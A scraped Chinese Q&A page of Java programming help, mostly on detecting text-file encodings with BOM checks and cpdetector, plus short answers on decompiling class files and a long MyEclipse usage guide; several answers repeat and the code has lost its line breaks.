java

阅读 / 问答 / 标签

java中hash是什么意思

哈希算法,速度快。

怎么读取java文件中字符编码格式

1:简单判断是UTF-8或不是UTF-8,因为一般除了UTF-8之外就是GBK,所以就设置默认为GBK。按照给定的字符集存储文件时,在文件的最开头的三个字节中就有可能存储着编码信息,所以,基本的原理就是只要读出文件前三个字节,判定这些字节的值,就可以得知其编码的格式。其实,如果项目运行的平台就是中文操作系统,如果这些文本文件在项目内产生,即开发人员可以控制文本的编码格式,只要判定两种常见的编码就可以了:GBK和UTF-8。由于中文Windows默认的编码是GBK,所以一般只要判定UTF-8编码格式。对于UTF-8编码格式的文本文件,其前3个字节的值就是-17、-69、-65,所以,判定是否是UTF-8编码格式的代码片段如下:File file = new File(path);InputStream in= new java.io.FileInputStream(file);byte[] b = new byte[3];in.read(b);in.close();if (b[0] == -17 && b[1] == -69 && b[2] == -65)System.out.println(file.getName() + ":编码为UTF-8");elseSystem.out.println(file.getName() + ":可能是GBK,也可能是其他编码"); 2:若想实现更复杂的文件编码检测,可以使用一个开源项目cpdetector,它所在的网址是:http://cpdetector.sourceforge.net/。它的类库很小,只有500K左右,cpDetector是基于统计学原理的,不保证完全正确,利用该类库判定文本文件的代码如下:读外部文件(先利用cpdetector检测文件的编码格式,然后用检测到的编码方式去读文件):/*** 利用第三方开源包cpdetector获取文件编码格式** @param path* 要判断文件编码格式的源文件的路径* @author huanglei* @version 2012-7-12 14:05*/public static String getFileEncode(String path) {/** detector是探测器,它把探测任务交给具体的探测实现类的实例完成。* cpDetector内置了一些常用的探测实现类,这些探测实现类的实例可以通过add方法 加进来,如ParsingDetector、* JChardetFacade、ASCIIDetector、UnicodeDetector。* detector按照“谁最先返回非空的探测结果,就以该结果为准”的原则返回探测到的* 字符集编码。使用需要用到三个第三方JAR包:antlr.jar、chardet.jar和cpdetector.jar* cpDetector是基于统计学原理的,不保证完全正确。*/CodepageDetectorProxy detector = CodepageDetectorProxy.getInstance();/** ParsingDetector可用于检查HTML、XML等文件或字符流的编码,构造方法中的参数用于* 指示是否显示探测过程的详细信息,为false不显示。*/detector.add(new ParsingDetector(false));/** JChardetFacade封装了由Mozilla组织提供的JChardet,它可以完成大多数文件的编码* 测定。所以,一般有了这个探测器就可满足大多数项目的要求,如果你还不放心,可以* 再多加几个探测器,比如下面的ASCIIDetector、UnicodeDetector等。*/detector.add(JChardetFacade.getInstance());// 用到antlr.jar、chardet.jar// ASCIIDetector用于ASCII编码测定detector.add(ASCIIDetector.getInstance());// UnicodeDetector用于Unicode家族编码的测定detector.add(UnicodeDetector.getInstance());java.nio.charset.Charset charset = null;File f = new File(path);try {charset = detector.detectCodepage(f.toURI().toURL());} catch (Exception ex) {ex.printStackTrace();}if (charset != null)return charset.name();elsereturn null;}String charsetName = getFileEncode(configFilePath);System.out.println(charsetName);inputStream = new FileInputStream(configFile);BufferedReader in = new BufferedReader(new InputStreamReader(inputStream, charsetName)); 读jar包内部资源文件(先利用cpdetector检测jar内部的资源文件的编码格式,然后以检测到的编码方式去读文件):/*** 利用第三方开源包cpdetector获取URL对应的文件编码** @param path* 要判断文件编码格式的源文件的URL* @author huanglei* @version 2012-7-12 14:05*/public static String getFileEncode(URL url) {/** detector是探测器,它把探测任务交给具体的探测实现类的实例完成。* cpDetector内置了一些常用的探测实现类,这些探测实现类的实例可以通过add方法 加进来,如ParsingDetector、* JChardetFacade、ASCIIDetector、UnicodeDetector。* detector按照“谁最先返回非空的探测结果,就以该结果为准”的原则返回探测到的* 字符集编码。使用需要用到三个第三方JAR包:antlr.jar、chardet.jar和cpdetector.jar* cpDetector是基于统计学原理的,不保证完全正确。*/CodepageDetectorProxy detector = CodepageDetectorProxy.getInstance();/** ParsingDetector可用于检查HTML、XML等文件或字符流的编码,构造方法中的参数用于* 指示是否显示探测过程的详细信息,为false不显示。*/detector.add(new ParsingDetector(false));/** JChardetFacade封装了由Mozilla组织提供的JChardet,它可以完成大多数文件的编码* 测定。所以,一般有了这个探测器就可满足大多数项目的要求,如果你还不放心,可以* 再多加几个探测器,比如下面的ASCIIDetector、UnicodeDetector等。*/detector.add(JChardetFacade.getInstance());// 用到antlr.jar、chardet.jar// ASCIIDetector用于ASCII编码测定detector.add(ASCIIDetector.getInstance());// UnicodeDetector用于Unicode家族编码的测定detector.add(UnicodeDetector.getInstance());java.nio.charset.Charset charset = null;try {charset = detector.detectCodepage(url);} catch (Exception ex) {ex.printStackTrace();}if (charset != null)return charset.name();elsereturn null;}URL url = CreateStationTreeModel.class.getResource("/resource/" + "配置文件");URLConnection urlConnection = url.openConnection();inputStream=urlConnection.getInputStream();String charsetName = getFileEncode(url);System.out.println(charsetName);BufferedReader in = new BufferedReader(new InputStreamReader(inputStream, charsetName)); 3:探测任意输入的文本流的编码,方法是调用其重载形式:charset=detector.detectCodepage(待测的文本输入流,测量该流所需的读入字节数); 上面的字节数由程序员指定,字节数越多,判定越准确,当然时间也花得越长。要注意,字节数的指定不能超过文本流的最大长度。4:判定文件编码的具体应用举例:属性文件(.properties)是Java程序中的常用文本存储方式,象STRUTS框架就是利用属性文件存储程序中的字符串资源。它的内容如下所示:#注释语句属性名=属性值读入属性文件的一般方法是:FileInputStream ios=new FileInputStream(“属性文件名”);Properties prop=new Properties();prop.load(ios);String value=prop.getProperty(“属性名”);ios.close();利用java.io.Properties的load方法读入属性文件虽然方便,但如果属性文件中有中文,在读入之后就会发现出现乱码现象。发生这个原因是load方法使用字节流读入文本,在读入后需要将字节流编码成为字符串,而它使用的编码是“iso-8859-1”,这个字符集是ASCII码字符集,不支持中文编码,方法一:使用显式的转码:String value=prop.getProperty(“属性名”);String encValue=new String(value.getBytes(“iso-8859-1″),”属性文件的实际编码”);方法二:象这种属性文件是项目内部的,我们可以控制属性文件的编码格式,比如约定采用Windows内定的GBK,就直接利用”gbk”来转码, 如果约定采用UTF-8,就使用”UTF-8″直接转码。方法三:如果想灵活一些,做到自动探测编码,就可利用上面介绍的方法测定属性文件的编码,从而方便开发人员的工作补充:可以用下面代码获得Java支持编码集合:Charset.availableCharsets().keySet();可以用下面的代码获得系统默认编码:Charset.defaultCharset();

收藏java 如何判断txt的编码字符集

简单判断是UTF-8或不是UTF-8,因为一般除了UTF-8之外就是GBK,所以就设置默认为GBK。按照给定的字符集存储文件时,在文件的最开头的三个字节中就有可能存储着编码信息,所以,基本的原理就是只要读出文件前三个字节,判定这些字节的值,就可以得知其编码的格式。其实,如果项目运行的平台就是中文操作系统,如果这些文本文件在项目内产生,即开发人员可以控制文本的编码格式,只要判定两种常见的编码就可以了:GBK和UTF-8。由于中文Windows默认的编码是GBK,所以一般只要判定UTF-8编码格式。对于UTF-8编码格式的文本文件,其前3个字节的值就是-17、-69、-65,所以,判定是否是UTF-8编码格式的代码片段如下:[java] view plaincopyFile file = new File(path); InputStream in= new java.io.FileInputStream(file); byte[] b = new byte[3]; in.read(b); in.close(); if (b[0] == -17 && b[1] == -69 && b[2] == -65)System.out.println(file.getName() + ":编码为UTF-8"); elseSystem.out.println(file.getName() + ":可能是GBK,也可能是其他编码"); 2:若想实现更复杂的文件编码检测,可以使用一个开源项目cpdetector,它所在的网址是:http://cpdetector.sourceforge.net/。它的类库很小,只有500K左右,cpDetector是基于统计学原理的,不保证完全正确,利用该类库判定文本文件的代码如下:读外部文件(先利用cpdetector检测文件的编码格式,然后用检测到的编码方式去读文件):[java] view plaincopy/*** 利用第三方开源包cpdetector获取文件编码格式** @param path* 要判断文件编码格式的源文件的路径* @author huanglei* @version 2012-7-12 14:05*/ public static String getFileEncode(String path) {/** detector是探测器,它把探测任务交给具体的探测实现类的实例完成。* cpDetector内置了一些常用的探测实现类,这些探测实现类的实例可以通过add方法 加进来,如ParsingDetector、* JChardetFacade、ASCIIDetector、UnicodeDetector。* detector按照“谁最先返回非空的探测结果,就以该结果为准”的原则返回探测到的* 字符集编码。使用需要用到三个第三方JAR包:antlr.jar、chardet.jar和cpdetector.jar* cpDetector是基于统计学原理的,不保证完全正确。*/CodepageDetectorProxy detector = CodepageDetectorProxy.getInstance();/** ParsingDetector可用于检查HTML、XML等文件或字符流的编码,构造方法中的参数用于* 指示是否显示探测过程的详细信息,为false不显示。*/detector.add(new ParsingDetector(false));/*

javax.servlet.jsp.JspException: Cannot retrieve mapping for action /getCardApply

貌似是你的Webroot里的WEB-INF里的web.xml里的映射配置有问题,也就是提交的东西找不到对应的路径的servlet

java中使用InputStreamReader的getEncoding方法不能获取正确的结果

public final class CpdetectorUtil { private static final CodepageDetectorProxy detector = CodepageDetectorProxy .getInstance(); static { detector.add(new ParsingDetector(false)); detector.add(JChardetFacade.getInstance()); detector.add(UnicodeDetector.getInstance()); detector.add(ASCIIDetector.getInstance()); } private CpdetectorUtil() { } /** * * 感知文件编码方式。 * * @param 待探测文件 * @return 编码字符串,为空表示没有找到该编码 */ public static String perceiveCode(File file) { if (null == file || !file.exists()) { return null; } Charset charset = null; try { charset = detector.detectCodepage(file.toURI().toURL()); } catch (Exception ex) { Log.error(ex); } if (charset != null) { return charset.name(); } return null; }}需要三个jarcpdetector_1.0.10.jarchardet-1.0.jarantlr-2.7.4.jar希望能帮助你

java 怎么判断文本内容的编码

1、window——>preference2、General——>Workspace,右边【Textfileencoding】选择编码后,点击【OK】。

java 怎么判断文本内容的编码

1:简单判断是UTF-8或不是UTF-8,因为一般除了UTF-8之外就是GBK,所以就设置默认为GBK。按照给定的字符集存储文件时,在文件的最开头的三个字节中就有可能存储着编码信息,所以,基本的原理就是只要读出文件前三个字节,判定这些字节的值,就可以得知其编码的格式。其实,如果项目运行的平台就是中文操作系统,如果这些文本文件在项目内产生,即开发人员可以控制文本的编码格式,只要判定两种常见的编码就可以了:GBK和UTF-8。由于中文Windows默认的编码是GBK,所以一般只要判定UTF-8编码格式。对于UTF-8编码格式的文本文件,其前3个字节的值就是-17、-69、-65,所以,判定是否是UTF-8编码格式的代码片段如下:[java] view plaincopyFile file = new File(path); InputStream in= new java.io.FileInputStream(file); byte[] b = new byte[3]; in.read(b); in.close(); if (b[0] == -17 && b[1] == -69 && b[2] == -65)System.out.println(file.getName() + ":编码为UTF-8"); elseSystem.out.println(file.getName() + ":可能是GBK,也可能是其他编码"); 2:若想实现更复杂的文件编码检测,可以使用一个开源项目cpdetector,它所在的网址是:http://cpdetector.sourceforge.net/。它的类库很小,只有500K左右,cpDetector是基于统计学原理的,不保证完全正确,利用该类库判定文本文件的代码如下:读外部文件(先利用cpdetector检测文件的编码格式,然后用检测到的编码方式去读文件):[java] view plaincopy/*** 利用第三方开源包cpdetector获取文件编码格式** @param path* 要判断文件编码格式的源文件的路径* @author huanglei* @version 2012-7-12 14:05*/ public static String getFileEncode(String path) {/** detector是探测器,它把探测任务交给具体的探测实现类的实例完成。* cpDetector内置了一些常用的探测实现类,这些探测实现类的实例可以通过add方法 加进来,如ParsingDetector、* JChardetFacade、ASCIIDetector、UnicodeDetector。* detector按照“谁最先返回非空的探测结果,就以该结果为准”的原则返回探测到的* 字符集编码。使用需要用到三个第三方JAR包:antlr.jar、chardet.jar和cpdetector.jar* cpDetector是基于统计学原理的,不保证完全正确。*/CodepageDetectorProxy detector = CodepageDetectorProxy.getInstance();/** ParsingDetector可用于检查HTML、XML等文件或字符流的编码,构造方法中的参数用于* 指示是否显示探测过程的详细信息,为false不显示。*/detector.add(new ParsingDetector(false));/** JChardetFacade封装了由Mozilla组织提供的JChardet,它可以完成大多数文件的编码* 测定。所以,一般有了这个探测器就可满足大多数项目的要求,如果你还不放心,可以* 再多加几个探测器,比如下面的ASCIIDetector、UnicodeDetector等。*/detector.add(JChardetFacade.getInstance());// 用到antlr.jar、chardet.jar// ASCIIDetector用于ASCII编码测定detector.add(ASCIIDetector.getInstance());// UnicodeDetector用于Unicode家族编码的测定detector.add(UnicodeDetector.getInstance());java.nio.charset.Charset charset = null;File f = new File(path);try {charset = detector.detectCodepage(f.toURI().toURL());} catch (Exception ex) {ex.printStackTrace();}if (charset != null)return charset.name();elsereturn null; } [java] view plaincopyString charsetName = getFileEncode(configFilePath); System.out.println(charsetName); inputStream = new FileInputStream(configFile); BufferedReader in = new BufferedReader(new InputStreamReader(inputStream, charsetName)); 读jar包内部资源文件(先利用cpdetector检测jar内部的资源文件的编码格式,然后以检测到的编码方式去读文件):[java] view plaincopy/*** 利用第三方开源包cpdetector获取URL对应的文件编码** @param path* 要判断文件编码格式的源文件的URL* @author huanglei* @version 2012-7-12 14:05*/ public static String getFileEncode(URL url) {/** detector是探测器,它把探测任务交给具体的探测实现类的实例完成。* cpDetector内置了一些常用的探测实现类,这些探测实现类的实例可以通过add方法 加进来,如ParsingDetector、* JChardetFacade、ASCIIDetector、UnicodeDetector。* detector按照“谁最先返回非空的探测结果,就以该结果为准”的原则返回探测到的* 字符集编码。使用需要用到三个第三方JAR包:antlr.jar、chardet.jar和cpdetector.jar* cpDetector是基于统计学原理的,不保证完全正确。*/CodepageDetectorProxy detector = CodepageDetectorProxy.getInstance();/** ParsingDetector可用于检查HTML、XML等文件或字符流的编码,构造方法中的参数用于* 指示是否显示探测过程的详细信息,为false不显示。*/detector.add(new ParsingDetector(false));/** JChardetFacade封装了由Mozilla组织提供的JChardet,它可以完成大多数文件的编码* 测定。所以,一般有了这个探测器就可满足大多数项目的要求,如果你还不放心,可以* 再多加几个探测器,比如下面的ASCIIDetector、UnicodeDetector等。*/detector.add(JChardetFacade.getInstance());// 用到antlr.jar、chardet.jar// ASCIIDetector用于ASCII编码测定detector.add(ASCIIDetector.getInstance());// UnicodeDetector用于Unicode家族编码的测定detector.add(UnicodeDetector.getInstance());java.nio.charset.Charset charset = null;try {charset = detector.detectCodepage(url);} catch (Exception ex) {ex.printStackTrace();}if (charset != null)return charset.name();elsereturn null; } [java] view plaincopyURL url = CreateStationTreeModel.class.getResource("/resource/" + "配置文件"); URLConnection urlConnection = url.openConnection(); inputStream=urlConnection.getInputStream(); String charsetName = getFileEncode(url); System.out.println(charsetName); BufferedReader in = new BufferedReader(new InputStreamReader(inputStream, charsetName)); 3:探测任意输入的文本流的编码,方法是调用其重载形式: [java] view plaincopycharset=detector.detectCodepage(待测的文本输入流,测量该流所需的读入字节数); 上面的字节数由程序员指定,字节数越多,判定越准确,当然时间也花得越长。要注意,字节数的指定不能超过文本流的最大长度。4:判定文件编码的具体应用举例:属性文件(.properties)是Java程序中的常用文本存储方式,象STRUTS框架就是利用属性文件存储程序中的字符串资源。它的内容如下所示:#注释语句属性名=属性值读入属性文件的一般方法是:[java] view plaincopyFileInputStream ios=new FileInputStream(“属性文件名”); Properties prop=new Properties(); prop.load(ios); String value=prop.getProperty(“属性名”); ios.close();利用java.io.Properties的load方法读入属性文件虽然方便,但如果属性文件中有中文,在读入之后就会发现出现乱码现象。发生这个原因是load方法使用字节流读入文本,在读入后需要将字节流编码成为字符串,而它使用的编码是“iso-8859-1”,这个字符集是ASCII码字符集,不支持中文编码,方法一:使用显式的转码:[java] view plaincopyString value=prop.getProperty(“属性名”); String encValue=new String(value.getBytes(“iso-8859-1″),”属性文件的实际编码”);方法二:象这种属性文件是项目内部的,我们可以控制属性文件的编码格式,比如约定采用Windows内定的GBK,就直接利用”gbk”来转码, 如果约定采用UTF-8,就使用”UTF-8″直接转码。方法三:如果想灵活一些,做到自动探测编码,就可利用上面介绍的方法测定属性文件的编码,从而方便开发人员的工作补充:可以用下面代码获得Java支持编码集合:Charset.availableCharsets().keySet();可以用下面的代码获得系统默认编码:Charset.defaultCharset();

Java 如何判断text是不是超文本内容

: Java 指的是一种完全面向对象的程序设计语言 HTML才是超文本标记语言

怎么使用java判断一个字符串是属于什么编码?

你这悬赏分数好高....好羡慕 真是土豪.....一楼 二楼的答案都不错~~~~你就凑合这也采纳一下我的吧!!!人间大爱啊。。。施主谢过了

用java写一个图书管理系统,登陆界面运行后提示错误,请问这是什么意思?

代码太乱,好像有空对象

java怎么在按钮上加图片,或者把图片做成按钮(按钮是圆的

<button ><image src=""></button>这样就可以在按钮上加图片了。

关于javacript的小问题

1.javascript是大小写敏感的2.形参当然可以随便改,但你也得改函数体里面的啊例如:-------------------------------------function echo(a){ alert(a);}如果你把a改成b了,你就得改成function echo(b){ alert(b);}-------------------------------------3.thisImage.overImage = new Image();这段代码建立了一个Image对象啊

如何防止JAVA程序源代码被反编译

我们都知道JAVA是一种解析型语言,这就决定JAVA文件编译后不是机器码,而是一个字节码文件,也就是CLASS文件。而这样的文件是存在规律的,经过反编译工具是可以还原回来的。例如Decafe、FrontEnd,YingJAD和Jode等等软件。下面是《Nokia中Short数组转换算法》类中Main函数的ByteCode:0 ldc #162 invokestatic #185 astore_16 return其源代码是:short [] pixels = parseImage("/ef1s.png");我们通过反编译工具是可以还原出以上源代码的。而通过简单的分析,我们也能自己写出源代码的。第一行:ldc #16ldc为虚拟机的指令,作用是:压入常量池的项,形式如下ldc index这个index就是上面的16,也就是在常量池中的有效索引,当我们去看常量池的时候,我们就会找到index为16的值为String_info,里面存了/ef1s.png.所以这行的意思就是把/ef1s.pn作为一个String存在常量池中,其有效索引为16。第二行:2 invokestatic #18invokestatic为虚拟机指令,作用是:调用类(static)方法,形式如下invokestatic indexbyte1 indexbyte2其中indexbyte1和indexbyte2必须是在常量池中的有效索引,而是指向的类型必须有Methodref标记,对类名,方法名和方法的描述符的引用。所以当我们看常量池中索引为18的地方,我们就会得到以下信息:Class Name : cp_info#1Name Type : cp_info#191 和19都是常量池中的有效索引,值就是右边<中的值,再往下跟踪我就不多说了,有兴趣的朋友可以去JAVA虚拟机规范。这里我简单介绍一下parseImage(Ljava/lang/String;)[S 的意思。这就是parseImage这个函数的运行,我们反过来看看parseImage的原型就明白了short [] parseImage(String)那么Ljava/lang/String;就是说需要传入一个String对象,而为什么前面要有一个L呢,这是JAVA虚拟机用来表示这是一个Object。如果是基本类型,这里就不需要有L了。然后返回为short的一维数组,也就是对应的[S。是不是很有意思,S对应着Short类型,而“[”对应一维数组,那有些朋友要问了,两维呢,那就“[[”,呵呵,是不是很有意思。好了,调用了函数,返回的值要保存下来吧。那么就是第三行要做的事情了。

如何防止JAVA程序源代码被反编译

我们都知道JAVA是一种解析型语言,这就决定JAVA文件编译后不是机器码,而是一个字节码文件,也就是CLASS文件。而这样的文件是存在规律的,经过反编译工具是可以还原回来的。例如Decafe、FrontEnd,YingJAD和Jode等等软件。下面是《Nokia中Short数组转换算法》类中Main函数的ByteCode:0 ldc #162 invokestatic #185 astore_16 return其源代码是:short [] pixels = parseImage("/ef1s.png");我们通过反编译工具是可以还原出以上源代码的。而通过简单的分析,我们也能自己写出源代码的。第一行:ldc #16ldc为虚拟机的指令,作用是:压入常量池的项,形式如下ldc index这个index就是上面的16,也就是在常量池中的有效索引,当我们去看常量池的时候,我们就会找到index为16的值为String_info,里面存了/ef1s.png.所以这行的意思就是把/ef1s.pn作为一个String存在常量池中,其有效索引为16。第二行:2 invokestatic #18invokestatic为虚拟机指令,作用是:调用类(static)方法,形式如下invokestatic indexbyte1 indexbyte2其中indexbyte1和indexbyte2必须是在常量池中的有效索引,而是指向的类型必须有Methodref标记,对类名,方法名和方法的描述符的引用。所以当我们看常量池中索引为18的地方,我们就会得到以下信息:Class Name : cp_info#1Name Type : cp_info#191 和19都是常量池中的有效索引,值就是右边<中的值,再往下跟踪我就不多说了,有兴趣的朋友可以去JAVA虚拟机规范。这里我简单介绍一下parseImage(Ljava/lang/String;)[S 的意思。这就是parseImage这个函数的运行,我们反过来看看parseImage的原型就明白了short [] parseImage(String)那么Ljava/lang/String;就是说需要传入一个String对象,而为什么前面要有一个L呢,这是JAVA虚拟机用来表示这是一个Object。如果是基本类型,这里就不需要有L了。然后返回为short的一维数组,也就是对应的[S。是不是很有意思,S对应着Short类型,而“[”对应一维数组,那有些朋友要问了,两维呢,那就“[[”,呵呵,是不是很有意思。好了,调用了函数,返回的值要保存下来吧。那么就是第三行要做的事情了。

如何将class文件转换成java源文件

下个反编译工具就行了

如何将.class文件转换成.java文件

jad 这个工具,不错的 。。。。。。。。

JAVA反编译软件

jad

如何防止JAVA程序源代码被反编译

而这样的文件是存在规律的,经过反编译工具是可以还原回来的。例如Decafe、FrontEnd,YingJAD和Jode等等软件。下面是《Nokia中Short数组转换算法》 类中Main函数的ByteCode:0 ldc #162 invokestatic #185 astore_16 return其源代码是:short [] pixels = parseImage("/ef1s.png"); 我们通过反编译工具是可以还原出以上源代码的。而通过简单的分析,我们也能自己写出源代码的。 第一行:ldc #16 ldc为虚拟机的指令,作用是:压入常量池的项,形式如下ldc index这个index就是上面的16,也就是在常量池中的有效索引,当我们去看常量池的时候,我们就会找到index为16的值为String_info,里面存了/ef1s.png. 所以这行的意思就是把/ef1s.pn作为一个String存在常量池中,其有效索引为16。 第二行:2 invokestatic #18 invokestatic为虚拟机指令,作用是:调用类(static)方法,形式如下 invokestatic indexbyte1 indexbyte2 其中indexbyte1和indexbyte2必须是在常量池中的有效索引,而是指向的类型必须有Methodref标记,对类名,方法名和方法的描述符的引用。 所以当我们看常量池中索引为18的地方,我们就会得到以下信息: Class Name : cp_info#1 Name Type : cp_info#19 1 和19都是常量池中的有效索引,值就是右边<中的值,再往下跟踪我就不多说了,有兴趣的朋友可以去JAVA虚拟机规范。 这里我简单介绍一下parseImage(Ljava/lang/String;)[S 的意思。 这就是parseImage这个函数的运行,我们反过来看看parseImage的原型就明白了 short [] parseImage(String) 那么Ljava/lang/String;就是说需要传入一个String对象,而为什么前面要有一个L呢,这是JAVA虚拟机用来表示这是一个Object。如果是基本类型,这里就不需要有L了。然后返回为short的一维数组,也就是对应的[S。是不是很有意思,S对应着Short类型,而“[”对应一维数组,那有些朋友要问了,两维呢,那就“[[”,呵呵,是不是很有意思。 好了,调用了函数,返回的值要保存下来吧。那么就是第三行要做的事情了。

java怎么组装多层嵌套json

gson注册 相应的类的类型,就可以~

java的源代码隐藏问题

打成exe格式

正在编辑java文件。myeclipse滚动条不见了:不能滑动鼠标。。经常出现,怎么办?

一.提示:MyEclipse的透视图按钮:可以切换不同的透视图(位于右上角)1.建立一个工程----File—new—project---选项含有Javaproject,webproject等等—输入工程名字如myproject,其他可以选择默认—完成2.创建一个Java文件---myproject—右键—new---SourceFolder(还有class,package,Folder等等)---名字如src—以后可以将class文件放入其中,可以在src右键—new--class—创建Java文件注意:folder与Source Folder的区别Source Folder:用于放置Java文件,可以自动编译,可以嵌套;Folder:是一般的文件夹,不可以编译,要用到下面的生成源文件夹3.运行Java文件----选中Test—右键—runas—Java Application 或者单击工具栏按钮(类似播放器开始按钮)4.MyEclipse的自动提示,自动修正,自动完成功能:黄色,红色标志提示(1)输入部分字符,方法自动生成(2)根据提示,导入相应的包(3)提示清楚未使用的包(4)提示无用的方法,变量(5)自动提示接口,抽象类的的方法以及重载注意:《1》 接口 例子:….publicclass Test implementsConnection---就会在此行出现提示,单击出现AddUnimplements Methods等等,单击它自动添加Connection中的方法。《2》抽象类 例子:….publicclass Test extends List---可以在List上右键—source—Override/ImplmentsMotheds(重载实现方法)—选择需要的方法;《3》自动生成set,get方法:private String user ; ;在类中声明变量后,可以右键—source—GenerateSets andSets---可以选择方法;二.断点调试 1.断点的添加,去除----在想设置断点的程序行左端,双击,即添加一个断点,再双击,去除断点,另外右键也可以,还可以将断点失效或有效;例如:publicclass Test {publicstaticvoidmain(String args[]){double a=0;/*此处设置断点*/ a=Math.random();System.out.print(a);}}2.调试断点(1)---右键Test—debug as—JavaApplication---弹出是否切换工作空间,选ok;注意相关窗口(显示程序状态,变量,断点位置等)。或者单击工具栏的虫子按钮(2)方法1:将鼠标放在断点处的变量上如a,会显示变量值;方法2:选中变量a—右键—watch—即出现变量窗口Expression—单击开始按钮Resume或F8,观察变量值,也可停止调试,可以进入当前方法Stepinto,跳过当前方法Stepover,返回方法Stepreturn;这些在工具栏上;同理,可以查看i的值—右键i—watch;另外,查看对象的属性等,不可能直接在程序出现,如只出现list对象,想查看list的大小list.size();可以在Expression中的变量如a右键—AddWatchExpression—手工输入变量名或对象属性,如list.size();这种方法不会自动提示,如输入list.不会出现提示,可以—window—showview—display窗口—在其中输入list.会出现提示;选择list.size()—右键—despect—即可显示;(3)条件断点:满足一定条件时,才是断点生效--右键断点---Breakpiontproperties(断点属性)---勾选EnableCondition,在输入条件;(在复杂系统调试,很有用)(4)异常断点:开发中,会出现随机的异常,一般无法确切捕捉;当出现此异常,会停住,鼠标悬浮出现提示,用于查处那些变量出现异常,方便调试;三.MyEclipse的高级使用1.如何建立包?----》myproject—src-右键---选择package(还有class等等)--输入包名之后可以将class文件放入此包内2.工程的高级配置--》myproject—右键---properties—主要配置Javabuildpath(构建路径),它含有(1)source:它列出MyEclipse可以编译查错的文件夹Java文件,如本例中的myproject/src;如果想在myproject中建立一个普通的文件夹folder如myjava,而不是包,则myjava文件夹中的Java文件不会被编译查错,要想使其与src一样:在source面板---Addfolder—勾选myjava—ok;这样就可以编译myjava中Java文件;(2)Projects(3)Libraries:用于添加第三方jar包;说明:Add External Jars(用于加载工程外的jar)---可以选择相应的jar包,如MyEclipse驱动等等;Add Jars:用于添加本工程内的jar包(推荐使用这种方式,因为jar在工程内,方便移植);3.MyEclipse的智能:(1)自动生成try catch,理出异常—点击出现红色出,选择处理方案(2)自动生成setget方法(见上面)(3)自动生成构造函数(4)自动生成javadoc文件---输入/**回车,可以将参数,抛出的异常写到javadoc中四.常用技巧(1)代码完成ALT+/:用于当输入类的方法或类名时,如按了其他键自动提示消失,可按ALT+/自动补充完整,如输入String+ALT+/,会提示StringBuff等已String开头的类或方法,由如,忘记了switch的结构,可以输入swith+ALT+/,提示。很有用。(2)代码格式化—右键—source—format2.常用插件数据库管理SQLExplorer(跨数据库)反编译工具jodeJava EE开发 MyEclipseXML编写查看XMLBuddy五.Web开发1.创建web工程---new---project—MyEclipse—webproject—输入名字如myweb等,其他可默认(注意:rooturl 别往啦)2.配置MyEclipse与tomcat6.0方法1(手动部署):配置tomcat的虚拟目录,将它指向web工程muweb,可以用Dreamweaver建立一个站点指向web工程,这样MyEclipse与Dreamweaver可以同时指向web工程;一般原则,所有的Javabean,servlet放在src中(可以建包),所有的jsp,html文件放在WebRoot下或子目录。例子:在tomcat目录E:Tomcat6.0conf,配置server.xml<Contextpath="/MyWeb"docBase="E:Myeclipse-WorkPlaceMyProjectWebRoot"debug="0"reloadable="true"></Context>,推荐使用。方法(自动部署)2:在为本项目中—window—preferences---MyEclipseenterprise workbench—servers—tomcat—tomcat 6x—将右边选为enable—browser—选中tomcat主目录即可;这样可以在个MyEclipse工具栏启动或关闭tomcat,而不必手动打开tomcat进行启动或关闭;另外,每个为本项目要想使用已配置的tomcat服务器,必须都要与tomcat部署:单击工具栏的DeployMyEclipse j2ee project to server—Add--选择tomcat6x即可;之后可以在浏览器输入地址访问网站;不需要重启tomcat。不推荐使用。(2)设定jdk环境a) window –preferences – java – installed jresb) 如果没有对应的JDK(不是JRE),选择addc) 选择standardVM -> nextd) 选择JDK对应的Directorye) 将刚刚设定的JDK设为默认3.开发servlet----在项目myproject的src右键---new—servlet---设置servlet名字,包名,查看是否放在src或子目录内,重写的方法----下一步—设置web.xml---完成。4.开发jsp----在项目myproject的WebRoot或字目录右键---new—jsp---设置jsp名字,包名,查看是否放在WebRoot或字目录内。--下一步选择使用的模板(默认html模板,也可以使用其他的如struts)5.开发JavaBean(本质class文件)----在项目myproject的src---new—class---设置名字,包名,选择包,查看是否放在src或子目录。注意tomcat默认使用8080端口,安装了Oracle则会占用tomcat的8080,因此,可以修改tomcat端口---tomcat--E:Tomcat6.0confserver.xml---<Connectorport="8080"protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" />6.部署MySQL数据库(或其他数据库Oracle)开发项目1.添加MySQL数据库驱动:(1)直接将驱动放到E:Myeclipse-WorkPlaceMyProjectWebRootWEB-INFlib下即可;推荐使用。(2)用MyEclipse添加驱动:工程myweb—右键—properties—Javabuild path—libraries—Add External Jars将驱动添加即可。不推荐。可以用AddJars。7.使用MyEclipseDatabaseExplorer perspective(数据库透视图)(1)切换数据库透视图:单击右上角透视图—切换到MyEclipseDatabase Explorer,打开数据库透视图。(2)新建数据库连接:在MyEclipseDerby右键---new—在drivertemple 可选择相应的数据库类型MySQL,其他Oracle,MicrosoftSQLServer等;在name输入连接名字;在ConnectionURL输入url字符串;再输入用户名,密码;添加jars数据库驱动;(3)单击左侧的opendatabase可以打开数据库及表,结构,试图,触发器等;单击表时,下方显示表的内容;可此查看主键,外间,索引等等;还可以右键打开NewSqlEdit命令查询更新表内容;可以创建表数据库等等操作;生成多表实体关系(ER)图,可以保存图等等。多用右键。结论:它的作用就是相当于数据库的可视化面针对多种主流数据库,管理数据库;是否习惯者使用,根据根据个人喜好;不作要求。七.MyEclipse的几个试图1.Servers 视图:用于显示控制,设置,配置服务器,部署一个项目到服务器等;如下图:2.如何发布(即部署)工程方法(1):右键工程—runas—run configuration—选择服务器(MyEclipseserver application—tomcat)即可完成部署;方法(2):直接单击工具栏的DeployMyEclipse j2ee project to server按钮—Add--选择tomcat6x即可7.MyEclipse如何设置jsp默认编码---由于MyEclipse默认编码iso-8859-1,不能显示中文,因此可改为gb2312方法:—window—preferences---MyEclipseenterprise workbench-Filers andEditers—jsp—选择ChineseNational standard即可myeclipse 使用心得MyEclipse使用心得(2009-05-3017:50:37)标签:javamyeclipse ide 开发 it 分类:专业知识 一.首先我们需要做到MyEclipse到底是什么? 下面允许我做一些简要的介绍: 应该大家都知道Eclipse优点:免费、程序代码排版功能、有中文化包、可增 设许多功能强大的外挂、支持多种操作系统(Windows、Linux、Solaris、Mac OSX)..等等 而MyEclipse企业级工作平台(MyEclipseEnterpriseWorkbench 